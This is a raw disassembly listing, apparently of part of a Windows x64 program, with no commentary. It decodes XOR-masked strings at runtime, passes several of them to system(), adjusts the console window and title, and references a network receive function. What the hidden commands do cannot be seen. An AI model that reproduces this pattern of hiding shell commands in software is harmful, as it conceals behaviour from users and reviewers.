mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2028], rax
movdqa xmm0, xmmword [rbp + 0x250]
xorps xmm0, xmmword [rbp + 0x2020]
movdqa xmmword [rbp + 0x250], xmm0
lea r8, [rbp + 0x19b0]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x1970]
call fcn.1400616c0
nop
call fcn.14000c8b0
lea rcx, [rbp + 0x1990]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000c8b0
mov edx, 0x110
lea rcx, [rbp + 0x1a90]
call fcn.140065940
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x1390]
lea rcx, [rbp + 0x1a90]
call fcn.140072ed0
nop
mov edx, 0x110
lea rcx, [rbp + 0x1d10]
call fcn.140065940
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x1390]
lea rcx, [rbp + 0x1d10]
call fcn.140072ed0
nop
call fcn.14000c8b0
lea rcx, [rbp + 0x1590]
call fcn.14000cae0
nop
call fcn.14000c8b0
lea rcx, [rbp + 0x1a90]
call fcn.14006e750
test al, al
je 0x14006c8ab
mov rax, qword [rbp + 0x1a90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a90]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x1590]
lea rcx, [rbp + 0x1a90]
call fcn.1400786d0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006af16
movzx ebx, byte [rbp + 0x10]
movzx edi, byte [rbp + 0x10]
movzx esi, byte [rbp + 0x10]
movzx r14d, byte [rbp + 0x10]
movzx r15d, byte [rbp + 0x10]
movzx r12d, byte [rbp + 0x10]
movzx r13d, byte [rbp + 0x10]
nop dword [rax]
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x1c20]
call fcn.1400e6036
mov r9d, 1
mov r8d, r9d
lea rdx, [rbp + 0x1590]
lea rcx, [rbp + 0x1c20]
call fcn.14006d370
nop
movzx edx, dil
lea rcx, [rbp + 0x17d0]
call fcn.14000ce40
lea rcx, [rbp + 0x17d0]
call fcn.14000cb30
nop
movzx edx, sil
lea rcx, [rbp + 0x17b0]
call fcn.14000ce40
lea rcx, [rbp + 0x17b0]
call fcn.14000cb30
nop
movzx edx, bl
lea rcx, [rbp + 0x1330]
call fcn.14000ce40
lea rcx, [rbp + 0x1330]
call fcn.14000cb30
nop
movzx edx, r14b
lea rcx, [rbp + 0x12f0]
call fcn.14000ce40
lea rcx, [rbp + 0x12f0]
call fcn.14000cb30
nop
movzx edx, r15b
lea rcx, [rbp + 0x1950]
call fcn.14000ce40
lea rcx, [rbp + 0x1950]
call fcn.14000cb30
nop
movzx edx, r12b
lea rcx, [rbp + 0x1930]
call fcn.14000ce40
lea rcx, [rbp + 0x1930]
call fcn.14000cb30
nop
movzx edx, r13b
lea rcx, [rbp + 0x1890]
call fcn.14000ce40
lea rcx, [rbp + 0x1890]
call fcn.14000cb30
nop
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1910]
call fcn.14000ce40
lea rcx, [rbp + 0x1910]
call fcn.14000cb30
nop
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x12c0]
call fcn.14000ce40
lea rcx, [rbp + 0x12c0]
call fcn.14000cb30
nop
call fcn.14000c8b0
call fcn.14000c8b0
lea rdx, [rbp + 0x17d0]
lea rcx, [rbp + 0x1c20]
call fcn.140072cc0
mov rcx, rax
lea rdx, [rbp + 0x17b0]
call fcn.140072cc0
mov rcx, rax
lea rdx, [rbp + 0x1330]
call fcn.140072cc0
mov rcx, rax
lea rdx, [rbp + 0x12f0]
call fcn.140072cc0
mov rcx, rax
lea rdx, [rbp + 0x12c0]
call fcn.140072cc0
lea rdx, [0x140108fcc]
lea rcx, [rbp + 0x12f0]
call fcn.140072750
test al, al
je 0x14006a938
movabs rax, 0xbea45cee59692303
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x81991731522b344
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xc7d0359a372c5467
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2010], rax
movabs rax, 0x81991736151da08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2018], rax
movdqa xmm0, xmmword [rbp + 0x260]
xorps xmm0, xmmword [rbp + 0x2010]
movdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x1330]
call fcn.140072750
test al, al
je 0x14006a938
lea rcx, [rbp + 0x12c0]
call fcn.14006f730
test al, al
jne 0x14006a938
mov r9, 0xffffffffffffffff
lea r8d, [r9 + 3]
lea rdx, [rbp + 0xe30]
lea rcx, [rbp + 0x12c0]
call fcn.14006f6c0
nop
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rax
call fcn.140062ba0
mov qword [rbp], rax
lea rcx, [rbp + 0xe30]
call fcn.14000c850
mov rax, qword [rbp]
mov qword [0x1401210b8], rax
jmp 0x14006ae17
lea rdx, [0x140108fcc]
lea rcx, [rbp + 0x12f0]
call fcn.140072750
test al, al
je 0x14006aaa0
movabs rax, 0x97bc54f958602303
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0x6676d2010428bb64
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0x17ef08e0c3a2acd5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rcx, 0xbc73357d3cf75b62
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0xc7d0359a372c5467
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28a0], rax
movabs rax, 0x81991736151da08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28a8], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x28b8], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x28a0]
vmovdqa ymmword [rbp + 0x460], ymm1
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x1330]
vzeroupper
call fcn.140072750
test al, al
je 0x14006aaa0
lea rcx, [rbp + 0x12c0]
call fcn.14006f730
test al, al
jne 0x14006aaa0
mov r9, 0xffffffffffffffff
lea r8d, [r9 + 3]
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x12c0]
call fcn.14006f6c0
nop
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rax
call fcn.140062ba0
mov qword [rbp], rax
lea rcx, [rbp + 0xf30]
call fcn.14000c850
mov rax, qword [rbp]
mov qword [0x1401210c0], rax
jmp 0x14006ae17
lea rdx, [0x140108fcc]
lea rcx, [rbp + 0x12f0]
call fcn.140072750
test al, al
je 0x14006ac08
movabs rax, 0x97bc54f958602303
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rax, 0x7f78c1010428bb64
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movabs rax, 0x179d6d8cafcddecf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
movabs rcx, 0xbc73357d3cf75b62
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
movabs rax, 0xc7d0359a372c5467
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28c0], rax
movabs rax, 0x81991736151da08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28c8], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x28d8], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x28c0]
vmovdqa ymmword [rbp + 0x620], ymm1
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x1330]
vzeroupper
call fcn.140072750
test al, al
je 0x14006ac08
lea rcx, [rbp + 0x12c0]
call fcn.14006f730
test al, al
jne 0x14006ac08
mov r9, 0xffffffffffffffff
lea r8d, [r9 + 3]
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x12c0]
call fcn.14006f6c0
nop
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rax
call fcn.140062ba0
mov qword [rbp], rax
lea rcx, [rbp + 0xe50]
call fcn.14000c850
mov rax, qword [rbp]
mov qword [0x1401210d8], rax
jmp 0x14006ae17
lea rdx, [0x140108fcc]
lea rcx, [rbp + 0x12f0]
call fcn.140072750
test al, al
je 0x14006ad12
movabs rax, 0xa2a45bfb5b7c2303
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x81991736165996c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0xc7d0359a372c5467
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2000], rax
movabs rax, 0x81991736151da08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2008], rax
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0x2000]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1330]
call fcn.140072750
test al, al
je 0x14006ad12
lea rcx, [rbp + 0x12c0]
call fcn.14006f730
test al, al
jne 0x14006ad12
mov r9, 0xffffffffffffffff
lea r8d, [r9 + 3]
lea rdx, [rbp + 0xe70]
lea rcx, [rbp + 0x12c0]
call fcn.14006f6c0
nop
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rax
call fcn.140062ba0
mov qword [rbp], rax
lea rcx, [rbp + 0xe70]
call fcn.14000c850
mov rax, qword [rbp]
mov qword [0x1401210d0], rax
jmp 0x14006ae17
lea rdx, [0x140108fcc]
lea rcx, [rbp + 0x12f0]
call fcn.140072750
test al, al
je 0x14006ae17
movabs rax, 0xa69d42ff5e7a2303
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x81991731938a87c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0xc7d0359a372c5467
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ff0], rax
movabs rax, 0x81991736151da08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ff8], rax
movdqa xmm0, xmmword [rbp + 0x280]
xorps xmm0, xmmword [rbp + 0x1ff0]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x1330]
call fcn.140072750
test al, al
je 0x14006ae17
lea rcx, [rbp + 0x12c0]
call fcn.14006f730
test al, al
jne 0x14006ae17
mov r9, 0xffffffffffffffff
lea r8d, [r9 + 3]
lea rdx, [rbp + 0xe90]
lea rcx, [rbp + 0x12c0]
call fcn.14006f6c0
nop
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rax
call fcn.140062ba0
mov qword [rbp], rax
lea rcx, [rbp + 0xe90]
call fcn.14000c850
mov rax, qword [rbp]
mov qword [0x1401210c8], rax
lea rcx, [rbp + 0x12c0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1910]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1890]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1930]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1950]
call fcn.14000c850
nop
lea rcx, [rbp + 0x12f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1330]
call fcn.14000c850
nop
lea rcx, [rbp + 0x17b0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x17d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1cb0]
call fcn.14006d310
lea rcx, [rbp + 0x1cb0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword [rbp + 0x1a90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a90]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x1590]
lea rcx, [rbp + 0x1a90]
call fcn.1400786d0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a6a0
xor r15d, r15d
mov r14, qword [rbp + 8]
movabs rsi, 0xbc73357d3cf75b62
movabs r12, 0x81991736151da08
movabs r13, 0xc7d0359a372c5467
lea rcx, [rbp + 0x1d10]
call fcn.14006e710
lea rcx, [rbp + 0x1a90]
call fcn.14006e710
lea rcx, [rbp + 0x1970]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rbx, 0xc7d0359a375f3804
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1fe0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1fe8], rax
movdqa xmm0, xmmword [rbp + 0x290]
xorps xmm0, xmmword [rbp + 0x1fe0]
movdqa xmmword [rbp + 0x290], xmm0
lea rcx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000c8b0
call fcn.14000c8b0
call fcn.14000c8b0
mov edx, 5
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x13b0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.14000c8b0
movabs rax, 0xc7e415e858403b04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1fd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1fd8], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rbp + 0x1fd0]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa2b356ef640c5e6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0x2860fd1f1437a97b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0x7ee90ce1c0b9abe0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
movabs rax, 0xd33f1504509b3a01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
movabs rax, 0x3166153ebea52e5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa0], rax
movabs rdx, 0xc9fc8df76013421c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xaa8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x21e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x21e8], rax
movabs rdi, 0x179d6d8cafcddea1
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x21f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x21f8], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2200], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2208], rax
vmovdqu ymm0, ymmword [rbp + 0xa80]
vpxor ymm1, ymm0, ymmword [rbp + 0x21e0]
vmovdqa ymmword [rbp + 0xa80], ymm1
vmovdqa xmm0, xmmword [rbp + 0xaa0]
vxorps xmm0, xmm0, xmmword [rbp + 0x2200]
vmovdqa xmmword [rbp + 0xaa0], xmm0
lea rdx, [rbp + 0xa80]
vzeroupper
call fcn.140072a90
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb5b346f8427f746d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x7b31ff1c0825aa61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x179d6d8cafede488
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2500], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2508], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2510], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2518], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2500]
vmovdqa ymmword [rbp + 0x6e0], ymm1
lea rdx, [rbp + 0x6e0]
vzeroupper
call fcn.140072a90
mov edi, r15d
mov rax, qword [0x140122b98]
sub rax, qword [0x140122b90]
sar rax, 6
test rax, rax
je 0x14006b413
mov rcx, r15
movabs rsi, 0xb5b945e2520c6e47
movabs r14, 0x81991736171e071
nop dword [rax]
nop dword [rax + rax]
mov rdx, rcx
lea rcx, [0x140122b90]
call fcn.14006ee50
mov rdx, rax
lea rcx, [rbp + 0x1a50]
call fcn.14006cff0
nop
lea rdx, [rbp + 0x1a70]
lea rcx, [rbp + 0xeb0]
call fcn.14000c9c0
mov rcx, rax
call fcn.14006d240
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.14006d2d0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xc70], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xc80], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xc90], eax
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0xed0]
call fcn.14006d0e0
mov rbx, rax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp], r14
mov rdx, qword [rbp]
mov qword [rbp + 0x2b8], rdx
mov qword [rbp], r13
mov rdx, qword [rbp]
mov qword [rbp + 0x1fc0], rdx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1fc8], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
xorps xmm0, xmmword [rbp + 0x1fc0]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2b0]
mov rcx, r8
call fcn.140072a90
mov rdx, rbx
mov rcx, rax
call fcn.140072c60
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xed0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1a50]
call fcn.14006d030
inc edi
mov rax, qword [0x140122b98]
sub rax, qword [0x140122b90]
sar rax, 6
movsxd rcx, edi
cmp rcx, rax
jb 0x14006b2c0
movabs rbx, 0xc7d0359a375f3804
mov r14, qword [rbp + 8]
movabs rsi, 0xbc73357d3cf75b62
call fcn.14000c8b0
lea rcx, [0x140122c90]
call fcn.14000c7d0
test eax, eax
jne 0x14006b604
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1fb0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1fb8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x1fb0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb3f051ff5b453521
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xac0], rax
movabs rax, 0x7e76b1070436fa67
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xac8], rax
movabs rax, 0x78bd41f5cea1acc4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad0], rax
movabs rax, 0xd315503a1c993e12
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad8], rax
movabs rax, 0x5e78245bfaa52a49
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae0], rax
movabs rax, 0xc9fce8940e762b6e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2220], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2228], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2230], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2238], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2240], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2248], rax
vmovdqu ymm0, ymmword [rbp + 0x2220]
vpxor ymm1, ymm0, ymmword [rbp + 0xac0]
vmovdqa ymmword [rbp + 0xac0], ymm1
vmovdqa xmm2, xmmword [rbp + 0xae0]
vxorps xmm2, xmm2, xmmword [rbp + 0x2240]
vmovdqa xmmword [rbp + 0xae0], xmm2
lea rdx, [rbp + 0xac0]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14000c8b0
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x12e0]
call fcn.14000b6e0
movabs rdi, 0xc7b54dff191e2704
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1fa0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1fa8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x1fa0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x11b0]
call fcn.14000cb00
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xbc0], xmm0
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x12e0]
call fcn.140002de0
nop
movabs rax, 0xa3fe41f452453804
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x81991736151b664
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1f90], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1f98], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0x1f90]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x11c0]
call fcn.14000cb00
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xbd0], xmm0
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0x12e0]
call fcn.140062cc0
mov qword [0x140122840], rax
test rax, rax
jne 0x14006c075
movabs rax, 0xc7e615e858403b04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1f80], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1f88], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x1f80]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1f70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1f78], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x1f70]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x1810]
call fcn.14000c980
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e48], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x1e40]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e68], rax
movabs rdi, 0x179d6d8cafcddea1
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1e70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1e78], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e60]
vmovdqa ymmword [rbp + 0x40], ymm1
